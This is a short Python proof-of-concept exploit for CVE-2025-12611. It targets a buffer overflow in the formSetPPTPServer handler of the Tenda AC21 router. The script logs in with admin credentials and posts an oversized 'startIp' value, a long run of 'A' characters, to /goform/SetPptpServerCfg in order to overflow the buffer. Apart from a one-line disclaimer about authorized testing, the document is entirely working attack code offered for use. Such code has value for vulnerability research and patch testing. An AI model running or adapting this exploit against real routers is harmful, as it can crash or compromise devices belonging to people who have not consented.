CVE-2025-12611

#!/usr/bin/env python3 """ CVE-2025-12611 PoC - Tenda AC21 Buffer Overflow in formSetPPTPServer Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_cve_2025_12611(target_ip, username, password, malicious_ip): """ Exploit the buffer overflow vulnerability in Tenda AC21's formSetPPTPServer function. Args: target_ip: IP address of the vulnerable Tenda AC21 router username: Router admin username password: Router admin password malicious_ip: Malicious startIp payload to trigger overflow """ url = f"http://{target_ip}/goform/SetPptpServerCfg" # Payload with oversized startIp parameter to trigger buffer overflow # The exact overflow length may vary based on firmware version payload = { "startIp": malicious_ip, # Overflow payload "endIp": "192.168.99.254", "pptpEnable": "1" } try: response = requests.post(url, data=payload, auth=(username, password), timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def generate_overflow_payload(length=500): """Generate buffer overflow payload""" # Generate pattern that can help identify overflow location return "A" * length if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 CVE-2025-12611.py <target_ip> <username> <password> <payload_length>") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] payload_length = int(sys.argv[4]) if len(sys.argv) > 4 else 500 malicious_ip = generate_overflow_payload(payload_length) exploit_cve_2025_12611(target_ip, username, password, malicious_ip)

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